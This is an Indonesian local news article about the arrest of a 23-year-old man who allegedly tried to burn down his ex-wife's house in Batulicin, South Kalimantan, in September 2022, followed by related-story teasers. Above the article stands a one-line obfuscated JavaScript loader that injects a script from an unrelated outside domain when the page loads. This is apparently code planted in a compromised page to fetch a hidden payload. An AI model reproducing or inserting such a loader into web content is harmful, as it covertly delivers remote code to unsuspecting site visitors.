(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BATULICIN – Unit Reskrim Polsek Batulicin menangkap seorang pria berinisial HAE (23), di Kecamatan Batulicin, Kabupaten Tanah Bumbu, Kalimantan Selatan. HAE diamankan setelah berusaha membakar rumah mantan istrinya.
Kasus ini diungkap Kapolres Tanah Bumbu AKBP Tri Hambodo SIK melalui Kasi Humas Polres Tanah Bumbu AKP I Made Rasa pada Rabu (7/9/2022) malam.
Kejadian bermula pada Selasa (6/9/2022) sekitar pukul 04.00 Wita, dimana saat itu korban yang sedang tertidur kemudian terbangun karena mendengar suara keras orang yang sedang berlarian di dalam rumah.
Korban menyadari bahwa terdapat kobaran api di sudut plafon belakang rumah -tepatnya di bagian dapur. Atas hal tersebut korban langsung menyelamatkan diri dengan berlari keluar rumah.
Baca juga : Predator Seks Asal HSU Ditangkap, Pelaku Pernah Menjadi Korban Sodomi
“Atas kejadian tersebut pelapor mengalami kerugian Rp 1.000.000,” kata AKP Made.
Menerima laporan kejadian tersebut, Polsek Batulicin kemudian melakukan penyelidikan dan melakukan penangkapan kepada HAE (23) pada Selasa (6/9/2022) malam, di Jalan Raya Batulicin, Kelurahan Batulicin, Kecamatan Batulicin, Kabupaten Tanah Bumbu.
Saat dilakukan pengeledahan badan dari pria penggangguran tersebut, polisi menemukan senjata tajam jenis belati warna silver dengan ukuran panjang 19,4 cm dan lebar 2,8 cm di pinggang sebelah kanan pelaku.
Selain itu barang bukti lain berupa 1 (satu) kain ayunan anak warna biru dan 1 (satu) lembar kain warna coklat bekas siraman bahan bakar minyak juga turut diamankan.
Baca juga : BLT BBM Cair Rp 500 Ribu, Ratusan Warga Banjarmasin Padati Kantor Pos
“Untuk motif dikarenakan pelaku masih sayang dengan korban, pelaku sempat mengajak balikan, tapi korban sudah tidak mau, karena sakit hati akhirnya pelaku nekat bakar rumah korban,” tambahnya.
Perbuatan pelaku tersebut diduga termasuk dalam, tindak pidana kejahatan yang membahayakan keselamatan umum dan barang, sebagaimana dimaksud dalam pasal 187 ke 1, 2, 3 KUHP. (Kanalkalimantan.com/ftr)
Reporter : polres
Editor : cell
KANALKALIMANTAN.COM - Penyanyi senior Jhonny Iskandar meninggal dunia hari ini, Jumat (10/5/2024). Eks personel Orkes… Read More
KANALKALIMANTAN.COM, AMUNTAI – Membangun ulang Rumah Tidak Layak Huni (RTLH) menjadi layak huni menjadi salah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Target juara umum kontingen Kota Banjarbaru dalam ajang Pekan Olahraga Pelajar Daerah… Read More
KANALKALIMANTAN.COM, PALANGKARAYA - Wakil Gubernur (Wagub) Kalimantan Tengah (Kalteng), Edy Pratowo, mengumumkan keputusannya untuk mendaftarkan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin melepas 109 atlet untuk berlaga dalam… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Stasiun Meteorologi (Statmet) Syamsudin Noor Banjarmasin mengeluarkan imbauan mengenai potensi banjir pesisir… Read More
This website uses cookies.